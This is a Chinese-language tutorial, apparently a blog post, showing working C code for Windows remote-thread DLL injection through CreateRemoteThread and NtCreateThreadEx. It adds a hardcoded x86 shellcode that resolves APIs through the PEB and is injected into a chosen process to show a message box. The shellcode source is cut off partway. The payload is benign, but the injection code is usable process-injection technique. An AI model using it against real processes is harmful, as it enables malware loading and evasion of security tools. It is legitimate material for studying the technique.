在这里,我们使用两个方法,第一个是CreateRemoteThread方法,第二个是NtCreateThreadEx方法。通过查看源码可以发现CreaeteRemoteThread函数实现中调用了NtCreateThread函数的。
代码的最后,还给出用远程线程函数去启动一个ShellCode硬编码的线程函数 ,实现注入并弹出对话框。
一.使用CreateRemoteThread方法
一、启动远程线程去执行LoadLibrary(在目标进程家得到的函数的绝对地址/或者直接用当前进程的LoadLibrary的地址也可以)去执行在目标进程中已经写入的文件粒度对齐的DLL
#include "Ring3导入表Hook.h" void _tmain(int argc, TCHAR *argv[], TCHAR *envp[]) { //获得目标进程句柄 _tsetlocale(LC_ALL,_T("Chinese-simplified")); TCHAR v1[MAX_PATH] = { 0 }; HANDLE ProcessHandle = NULL; _stscanf(argv[0], _T("%p"), &ProcessHandle); //通过命令行接收父进程传递的目标进程的ProcessHandle //提权 if (SunEnableSeDebugPrivilege(_T("SeDebugPrivilege"), TRUE) == FALSE) { return; } //获得动态库的完整路径 //获得当前.exe文件的位置 GetCurrentDirectory(MAX_PATH, v1); //通过目标进程的完整路径进行数据的读取 #ifdef _WIN64 _tcscat_s(v1, _T("\\x64\\Dll.dll")); #else _tcscat_s(v1, _T("\\x86\\Dll.dll")); #endif //将该Dll注入到目标进程中(远程线程注入) SunInjectionByRemoteThread(v1, ProcessHandle); if (SunEnableSeDebugPrivilege(_T("SeDebugPrivilege"), FALSE) == FALSE) { return; } _tprintf(_T("Input AnyKey To Exit\r\n")); _gettchar(); } //提权 BOOL SunEnableSeDebugPrivilege(IN const TCHAR* PriviledgeName, BOOL IsEnable) { // 打开权限令牌 HANDLE ProcessHandle = GetCurrentProcess(); HANDLE TokenHandle = NULL; TOKEN_PRIVILEGES TokenPrivileges = { 0 }; if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } LUID v1; if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1)) { CloseHandle(TokenHandle); TokenHandle = NULL; return FALSE; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0; TokenPrivileges.Privileges[0].Luid = v1; if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { _tprintf(_T("LastError:%d\r\n"), GetLastError()); CloseHandle(TokenHandle); TokenHandle = NULL; return FALSE; } CloseHandle(TokenHandle); TokenHandle = NULL; return TRUE; } // 向目标进程写入DLL,并获得目标进程的Loadlibrary的函数地址,启动CreateRemoteThread去执行Loadlibrary加载DLL BOOL SunInjectionByRemoteThread(TCHAR* DllFullPath, HANDLE ProcessHandle) { ULONG32 DllFullPathLength = 0; PVOID VirtualAddress = NULL; //在目标进程空间中申请内存 DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR); //目标进程空间中申请内存 VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (VirtualAddress == NULL) { int LastError = GetLastError(); _tprintf(_T("LastError:%d\r\n", LastError)); _tprintf(_T("VirtualAllocEx() Error\r\n")); return FALSE; } //写入数据到目标进程空间 if (WriteProcessMemory(ProcessHandle, VirtualAddress, DllFullPath, DllFullPathLength, NULL) == FALSE) { int LastError = GetLastError(); VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE); _tprintf(_T("WriteProcessMemory() Error\r\n")); return FALSE; } PVOID LoadLibrary = NULL; //得到导出函数Function(LoadLibrary)在目标进程下的绝对地址 #ifdef _UNICODE LoadLibrary = (PVOID)SeGetProcAddressExW(ProcessHandle, L"Kernel32.dll", "LoadLibraryW"); //得到当前进程LoadLibraryW函数地址 #else LoadLibrary = (PVOID)SeGetProcAddressExA(ProcessHandle, "Kernel32.dll", "LoadLibraryA"); #endif // CreateRemoteThread --->让目标进程创建线程,去执行LoadLibrary(目标进程家的函数地址)加载目标进程中已经写入了文件粒度的DLL // VirtualAddress是注入的DLL的地址 HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, VirtualAddress, 0, NULL); if (ThreadHandle == NULL) { _tprintf(_T("CreateRemoteThread() Error\r\n")); VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE); return FALSE; } // 等待远程线程结束 WaitForSingleObject(ThreadHandle, INFINITE); if (VirtualAddress!=NULL) { VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE); } // 清理 if (ProcessHandle!=NULL) { CloseHandle(ProcessHandle); } return T RUE; } //得到导出函数Function(LoadLibrary)在目标进程下的绝对地址 ULONG_PTR SunGetProcAddressExA(HANDLE ProcessHandle, const char* ModuleName, const char* FunctionName) { WCHAR v1[MAX_PATH] = { 0 }; if (MultiByteToWideChar(CP_ACP, NULL, ModuleName, -1, v1, _countof(v1))) { return SeGetProcAddressExW(ProcessHandle, v1, FunctionName); } else { return 0; } } //得到导出函数Function(LoadLibrary)在目标进程下的绝对地址 ULONG_PTR SunGetProcAddressExW(HANDLE ProcessHandle, const wchar_t* ModuleName, const char* FunctionName) { if (!ProcessHandle) //no process specified { ProcessHandle = GetCurrentProcess(); } //枚举目标进程的模块信息(ProcessHandle传的是目标进程的句柄) DWORD ReturnLength = 0; if (EnumProcessModules(ProcessHandle, 0, 0, &ReturnLength)) //预读,返回长度 { HMODULE* ModulesHandle = (HMODULE*)malloc(ReturnLength * sizeof(HMODULE)); //申请内存 if (EnumProcessModules(ProcessHandle, ModulesHandle, ReturnLength, &ReturnLength)) //枚举模块信息,基地址返回到ModulesHandle { for (unsigned int i = 0; i < ReturnLength / sizeof(HMODULE); i++) { wchar_t ModuleFullPath[MAX_PATH] = L""; //获得模块完整路径 if (GetModuleFileNameExW(ProcessHandle, ModulesHandle[i], ModuleFullPath, _countof(ModuleFullPath))) { wchar_t* v1 = wcsrchr(ModuleFullPath, L'\\'); //阶段完整路径,得到模块名字 if (v1) { v1++; //此时我们ModuleName传参是Kernel32.dll if (!_wcsicmp(v1, ModuleName)) //找到了我们要的模块 { //获得当前进程下模块基地址 HMODULE ModuleBase = LoadLibraryExW(ModuleFullPath, 0, DONT_RESOLVE_DLL_REFERENCES | LOAD_LIBRARY_AS_DATAFILE); if (ModuleBase) { //获得目标函数(LoadLibrary)在当前进程下的地址 ULONG_PTR FunctionAddress = (ULONG_PTR)GetProcAddress(ModuleBase, FunctionName); if (FunctionAddress) { FunctionAddress -= (ULONG_PTR)ModuleBase; //rva 计算Function的相对地址 FreeLibrary(ModuleBase); return FunctionAddress + (ULONG_PTR)ModulesHandle[i]; //va 返回Function(LoadLibrary)在目标进程下的绝对地址 } } break; } } } } } free(ModulesHandle); } return 0; }
二、使用NtCreateThreadEx方法
区别在于NtCreateThreadEx是未导出的Nt系列的函数,其实并没有技术的升级,而是进行了创建远程线程函数的升级,通过查看源码可以发现CreaeteRemoteThread函数实现中调用了NtCreateThread函数的。 void Nt创建线程扩展() { TCHAR ImageName[MAX_PATH] = { 0 }; HANDLE ProcessHandle = NULL; HANDLE ThreadHandle = NULL; LPVOID VirtualAddress = NULL; HANDLE ProcessIdentify = INVALID_HANDLE_VALUE; NTSTATUS Status = STATUS_UNSUCCESSFUL; LPFN_NTCREATETHREADEX NtCreateThreadEx = NULL; // 输入目标进程名称 SunInputImageName(ImageName); { GetCurrentDirectory(MAX_PATH, __DllFullPath); _tcscat_s(__DllFullPath, _T("\\Dll.dll")); } //__DllFullPath = 0x00007ff641b8a560 L"Z:\\X-Project\\X-Project\\Dll.dll" // 枚举进程,找到目标进程的ID if (SunGetProcessIdentifyByImageName(ImageName, &ProcessIdentify) == FALSE) { goto Exit; } // 当前exe模块中没有该函数导入 NtCreateThreadEx = (LPFN_NTCREATETHREADEX)GetProcAddress(GetModuleHandle(_T("NTDLL.DLL")), "NtCreateThreadEx"); if (NtCreateThreadEx == NULL) { goto Exit; } // 通过进程ID获取进程句柄 ProcessHandle = SunOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessIdentify); if (ProcessHandle == NULL) { goto Exit; } SIZE_T DllFullPathLength = 0; // 在目标进程空间中申请内存 DllFullPathLength = (_tcslen(__DllFullPath) + 1) * sizeof(TCHAR); // 目标进程空间中申请内存 VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT, PAGE_READWRITE); if (VirtualAddress != NULL) { // 将DLL写入到目标进程中 if (!SunProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, __DllFullPath, DllFullPathLength, NULL)) { goto Exit; } // 在目标进程中启动线程 Status = NtCreateThreadEx(&ThreadHandle, THREAD_ALL_ACCESS, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibrary, VirtualAddress, FALSE, NULL, NULL, NULL, NULL); if (!NT_SUCCESS(Status)) { goto Exit; } } WaitForSingleObject(ThreadHandle, INFINITE); Exit: if (VirtualAddress != NULL) { VirtualFreeEx(ProcessHandle, VirtualAddress, sizeof(__ShellCode), MEM_RELEASE); VirtualAddress = NULL; } if (ThreadHandle != NULL) { SunCloseHandle(ThreadHandle); ThreadHandle = NULL; } if (ProcessHandle != NULL) { SunCloseHandle(ProcessHandle); ProcessHandle = NULL; } }
三、
我们还可以用远程线程函数做一些其他的事情
如去启动一个ShellCode硬编码的线程函数
这里我们使用ShellCode去注入,弹出一个对话框。
#include "stdafx.h" #include <Windows.h> #define TOUPPER(x) ((((x)>='a')&&((x)<='z'))?((x)-32):(x)) #define TOLOWER(x) ((((x)>='A')&&((x)<='Z'))?((x)+32):(x)) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _PEB_LDR_DATA { DWORD Length; bool Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA,*PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; USHORT LoadCount; USHORT TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; UINT32 CheckSum; UINT32 TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef HMODULE (WINAPI * PLOADLIBRARYA)(LPCSTR); typedef DWORD (WINAPI * PGETPROCADDRESS)(HMODULE, LPCSTR); typedef DWORD (WINAPI * PMESSAGEBOXA)(HWND, LPCSTR,LPCSTR,UINT); DWORD WINAPI ShellCode(PVOID lpThreadParameter); void PrintHexArray(PVOID startAddr, size_t nBytes); unsigned char ShellCodebuff[] = { 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x0C, 0x01, 0x00, 0x00, 0x53, 0x56, 0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xEC, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x45, 0xC0, 0x6B, 0xC6, 0x45, 0xC1, 0x00, 0xC6, 0x45, 0xC2, 0x65, 0xC6, 0x45, 0xC3, 0x00, 0xC6, 0x45, 0xC4, 0x72, 0xC6, 0x45, 0xC5, 0x00, 0xC6, 0x45, 0xC6, 0x6E, 0xC6, 0x45, 0xC7, 0x00, 0xC6, 0x45, 0xC8, 0x65, 0xC6, 0x45, 0xC9, 0x00, 0xC6, 0x45, 0xCA, 0x6C, 0xC6, 0x45, 0xCB, 0x00, 0xC6, 0x45, 0xCC, 0x33, 0xC6, 0x45, 0xCD, 0x00, 0xC6, 0x45, 0xCE, 0x32, 0xC6, 0x45, 0xCF, 0x00, 0xC6, 0x45, 0xD0, 0x2E, 0xC6, 0x45, 0xD1, 0x00, 0xC6, 0x45, 0xD2, 0x64, 0xC6, 0x45, 0xD3, 0x00, 0xC6, 0x45, 0xD4, 0x6C, 0xC6, 0x45, 0xD5, 0x00, 0xC6, 0x45, 0xD6, 0x6C, 0xC6, 0x45, 0xD7, 0x00, 0xC6, 0x45, 0xD8, 0x00, 0xC6, 0x45, 0xD9, 0x00, 0xC6, 0x45, 0xB4, 0x75, 0xC6, 0x45, 0xB5, 0x73, 0xC6, 0x45, 0xB6, 0x65, 0xC6, 0x45, 0xB7, 0x72, 0xC6, 0x45, 0xB8, 0x33, 0xC6, 0x45, 0xB9, 0x32, 0xC6, 0x45, 0xBA, 0x2E, 0xC6, 0x45, 0xBB, 0x64, 0xC6, 0x45, 0xBC, 0x6C, 0xC6, 0x45, 0xBD, 0x6C, 0xC6, 0x45, 0xBE, 0x00, 0xC6, 0x45, 0xA4, 0x47, 0xC6, 0x45, 0xA5, 0x65, 0xC6, 0x45, 0xA6, 0x74, 0xC6, 0x45, 0xA7, 0x50, 0xC6, 0x45, 0xA8, 0x72, 0xC6, 0x45, 0xA9, 0x6F, 0xC6, 0x45, 0xAA, 0x63, 0xC6, 0x45, 0xAB, 0x41, 0xC6, 0x45, 0xAC, 0x64, 0xC6, 0x45, 0xAD, 0x64, 0xC6, 0x45, 0xAE, 0x72, 0xC6, 0x45, 0xAF, 0x65, 0xC6, 0x45, 0xB0, 0x73, 0xC6, 0x45, 0xB1, 0x73, 0xC6, 0x45, 0xB2, 0x00, 0xC6, 0x45, 0x94, 0x4C, 0xC6, 0x45, 0x95, 0x6F, 0xC6, 0x45, 0x96, 0x61, 0xC6, 0x45, 0x97, 0x64, 0xC6, 0x45, 0x98, 0x4C, 0xC6, 0x45, 0x99, 0x69, 0xC6, 0x45, 0x9A, 0x62, 0xC6, 0x45, 0x9B, 0x72, 0xC6, 0x45, 0x9C, 0x61, 0xC6, 0x45, 0x9D, 0x72, 0xC6, 0x45, 0x9E, 0x79, 0xC6, 0x45, 0x9F, 0x41, 0xC6, 0x45, 0xA0, 0x00, 0xC6, 0x45, 0x88, 0x4D, 0xC6, 0x45, 0x89, 0x65, 0xC6, 0x45, 0x8A, 0x73, 0xC6, 0x45, 0x8B, 0x73, 0xC6, 0x45, 0x8C, 0x61, 0xC6, 0x45, 0x8D, 0x67, 0xC6, 0x45, 0x8E, 0x65, 0xC6, 0x45, 0x8F, 0x42, 0xC6, 0x45, 0x90, 0x6F, 0xC6, 0x45, 0x91, 0x78, 0xC6, 0x45, 0x92, 0x41, 0xC6, 0x45, 0x93, 0x00, 0xC6, 0x85, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0xC6, 0x85, 0x79, 0xFF, 0xFF, 0xFF, 0x65, 0xC6, 0x85, 0x7A, 0xFF, 0xFF, 0xFF, 0x6C, 0xC6, 0x85, 0x7B, 0xFF, 0xFF, 0xFF, 0x6C, 0xC6, 0x85, 0x7C, 0xFF, 0xFF, 0xFF, 0x6F, 0xC6, 0x85, 0x7D, 0xFF, 0xFF, 0xFF, 0x53, 0xC6, 0x85, 0x7E, 0xFF, 0xFF, 0xFF, 0x68, 0xC6, 0x85, 0x7F, 0xFF, 0xFF, 0xFF, 0x65, 0xC6, 0x45, 0x80, 0x6C, 0xC6, 0x45, 0x81, 0x6C, 0xC6, 0x45, 0x82, 0x43, 0xC6, 0x45, 0x83, 0x6F, 0xC6, 0x45, 0x84, 0x64, 0xC6, 0x45, 0x85, 0x65, 0xC6, 0x45, 0x86, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x89, 0x45, 0xE8, 0x8B, 0x45, 0xE8, 0x83, 0xC0, 0x0C, 0x89, 0x45, 0xE4, 0x8B, 0x45, 0xE4, 0x8B, 0x08, 0x89, 0x4D, 0xE0, 0x8B, 0x45, 0xE0, 0x89, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x8D, 0x45, 0xC0, 0x89, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0xE0, 0x8B, 0x48, 0x30, 0x89, 0x8D, 0x6C, 0xFF, 0xFF, 0xFF, 0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0xD7, 0x00, 0x00, 0x00, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x08, 0x85, 0xC9, 0x75, 0x19, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x08, 0x85, 0xC9, 0x75, 0x0C, 0xC7, 0x45, 0xDC, 0x01, 0x00, 0x00, 0x00, 0xE9, 0xB1, 0x00, 0x00, 0x00, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x83, 0xF9, 0x61, 0x7C, 0x22, 0x8B, 0x95, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x02, 0x83, 0xF8, 0x7A, 0x7F, 0x14, 0x8B, 0x8D, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x11, 0x83, 0xEA, 0x20, 0x89, 0x95, 0xF8, 0xFE, 0xFF, 0xFF, 0xEB, 0x0F, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x89, 0x8D, 0xF8, 0xFE, 0xFF, 0xFF, 0x8B, 0x95, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x02, 0x83, 0xF8, 0x61, 0x7C, 0x22, 0x8B, 0x8D, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x11, 0x83, 0xFA, 0x7A, 0x7F, 0x14, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x83, 0xE9, 0x20, 0x89, 0x8D, 0xF4, 0xFE, 0xFF, 0xFF, 0xEB, 0x0F, 0x8B, 0x95, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x02, 0x89, 0x85, 0xF4, 0xFE, 0xFF, 0xFF, 0x8B, 0x8D, 0xF8, 0xFE, 0xFF, 0xFF, 0x3B, 0x8D, 0xF4, 0xFE, 0xFF, 0xFF, 0x74, 0x02, 0xEB, 0x23, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x02, 0x89, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x02, 0x89, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0xFF, 0xFF, 0xFF, 0x83, 0x7D, 0xDC, 0x00, 0x74, 0x0B, 0x8B, 0x45, 0xE0, 0x8B, 0x48, 0x18, 0x89, 0x4D, 0xFC, 0xEB, 0x14, 0x8B, 0x45, 0xE0, 0x8B, 0x08, 0x89, 0x4D, 0xE0, 0x8B, 0x45, 0xE4, 0x3B, 0x45, 0xE0, 0x0F, 0x85, 0xD2, 0xFE, 0xFF, 0xFF, 0x83, 0x7D, 0xFC, 0x00, 0x0F, 0x84, 0x92, 0x01, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0x89, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x68, 0xFF, 0xFF, 0xFF, 0x03, 0x48, 0x3C, 0x89, 0x8D, 0x64, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x48, 0x3C, 0x8B, 0x95, 0x68, 0xFF, 0xFF, 0xFF, 0x8D, 0x44, 0x0A, 0x04, 0x89, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x14, 0x89, 0x85, 0x5C, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x48, 0x10, 0x03, 0x8D, 0x5C, 0xFF, 0xFF, 0xFF, 0x89, 0x8D, 0x58, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x5C, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x60, 0x89, 0x8D, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x1C, 0x89, 0x8D, 0x50, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x20, 0x89, 0x8D, 0x4C, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x24, 0x89, 0x8D, 0x48, 0xFF, 0xFF, 0xFF, 0xC7, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0F, 0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x01, 0x89, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x44, 0xFF, 0xFF, 0xFF, 0x3B, 0x48, 0x18, 0x0F, 0x8D, 0xBC, 0x00, 0x00, 0x00, 0x8D, 0x45, 0xA4, 0x89, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x4C, 0xFF, 0xFF, 0xFF, 0x8B, 0x55, 0xFC, 0x03, 0x14, 0x81, 0x89, 0x95, 0x3C, 0xFF, 0xFF, 0xFF, 0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x5B, 0x8B, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x85, 0xC9, 0x75, 0x16, 0x8B, 0x85, 0x3C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x85, 0xC9, 0x75, 0x09, 0xC7, 0x45, 0xDC, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x38, 0x8B, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x8B, 0x95, 0x3C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x02, 0x3B, 0xC8, 0x74, 0x02, 0xEB, 0x20, 0x8B, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x01, 0x89, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x3C, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x01, 0x89, 0x85, 0x3C, 0xFF, 0xFF, 0xFF, 0xEB, 0x9C, 0x83, 0x7D, 0xDC, 0x00, 0x74, 0x25, 0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x48, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x14, 0x41, 0x8B, 0x85, 0x50, 0xFF, 0xFF, 0xFF, 0x8B, 0x0C, 0x90, 0x8B, 0x95, 0x5C, 0xFF, 0xFF, 0xFF, 0x03, 0x4A, 0x1C, 0x89, 0x4D, 0xF4, 0xE9, 0x20, 0xFF, 0xFF, 0xFF, 0xEB, 0x07, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x38, 0x8D, 0x45, 0x94, 0x50, 0x8B, 0x4D, 0xFC, 0x51, 0xFF, 0x55, 0xF4, 0x89, 0x45, 0xF0, 0x8D, 0x45, 0xB4, 0x50, 0xFF, 0x55, 0xF0, 0x89, 0x45, 0xF8, 0x8D, 0x45, 0x88, 0x50, 0x8B, 0x4D, 0xF8, 0x51, 0xFF, 0x55, 0xF4, 0x89, 0x45, 0xEC, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x85, 0x78, 0xFF, 0xFF, 0xFF, 0x50, 0x6A, 0x00, 0xFF, 0x55, 0xEC, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00}; // 0x4F4 // 提权函数:提升为DEBUG权限 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk=FALSE; if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount=1; LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid); tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); fOk=(GetLastError()==ERROR_SUCCESS); CloseHandle(hToken); } return fOk; } int main(int argc, char* argv[]) { //CreateThread(0,0,ShellCode,0,0,0); // 打印shellcode //printf("输入ShellCode的地址: "); //DWORD dwAddr; //scanf("%x",&dwAddr); //getchar(); //PrintHexArray((PVOID)dwAddr, 0x4F4); //DWORD dwOldProtect; //VirtualProtect(ShellCodebuff,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProtect); //CreateThread(0,0,(LPTHREAD_START_ROUTINE)&ShellCodebuff,0,0,0); EnableDebugPrivilege(); DWORD dwWritten; DWORD pid; printf("请输入要注入的进程PID: "); scanf("%d", &pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); PVOID pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); //在目标进程的内存空间中申请一块内存 WriteProcessMemory(hProcess,pAddr,ShellCodebuff,0x4F4,&dwWritten); //将ShellCode的硬编码写进去 CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0); //启动远程线程去执行ShellCode getchar(); return 0; } //这个函数就是我们上面写的硬编码,在这里再次写出是为了对照,并没有调用 DWORD WINAPI ShellCode(PVOID lpThreadParameter) { HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; PGETPROCADDRESS pGetProcAddress = NULL; PLOADLIBRARYA pLoadLibraryA = NULL; PMESSAGEBOXA pMessageBoxA = NULL; PPEB_LDR_DATA pLDR = NULL; PLDR_DATA_TABLE_ENTRY pLdteHead; PLDR_DATA_TABLE_ENTRY pLdteCur; BOOL bEqual = FALSE; char szKernel32[] = {'k',0,'e',0,'r',0,'n',0,'e',0,'l',0,'3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0}; // Unicode char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0}; char szGetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0}; char szLoadLibrary[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0}; char szMessageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A',0}; char szHelloShellCode[] = {'H','e','l','l','o','S','h','e','l','l','C','o','d','e',0}; __asm { mov eax,fs:[0x30] // PEB mov eax,[eax+0x0C] // PEB->LDR mov pLDR,eax } // PEB的Ldr查询模块,找到kernel32.dll基地址(在目标进程家的) // find kernel32.dll pLdteHead = (PLDR_DATA_TABLE_ENTRY)(&pLDR->InLoadOrderModuleList); pLdteCur = (PLDR_DATA_TABLE_ENTRY)(pLdteHead->InLoadOrderLinks.Flink); do { PLDR_DATA_TABLE_ENTRY pLdte = CONTAINING_RECORD(pLdteCur, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); char *p1 = szKernel32; char *p2 = (char*)pLdteCur->BaseDllName.Buffer; bEqual = FALSE; while (1) { if (*(PWORD)p1 == 0 && *(PWORD)p2 == 0) { bEqual = TRUE; break; } if (TOUPPER(*p1) != TOUPPER(*p2)) { break; } p1+=2; p2+=2; } if (bEqual) { hKernel32 = (HMODULE)pLdteCur->DllBase; break; } pLdteCur = (PLDR_DATA_TABLE_ENTRY)pLdteCur->InLoadOrderLinks.Flink; } while (pLdteHead != pLdteCur); // 对kernel32.dll进程PE分析,从导出表中获取GetProcAddress地址 // 利用GetProcAddress得到LoadLibraryA函数地址,从而加载我们需要的User32.Dll到目标进程中 // 然后我们就可以调取User32.Dll里的MasageBox函数去弹出我们想要的窗口了 if (hKernel32 != NULL) { // find GetProcAddress PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew); PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pDosHeader + pDosHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + sizeof(IMAGE_FILE_HEADER)); 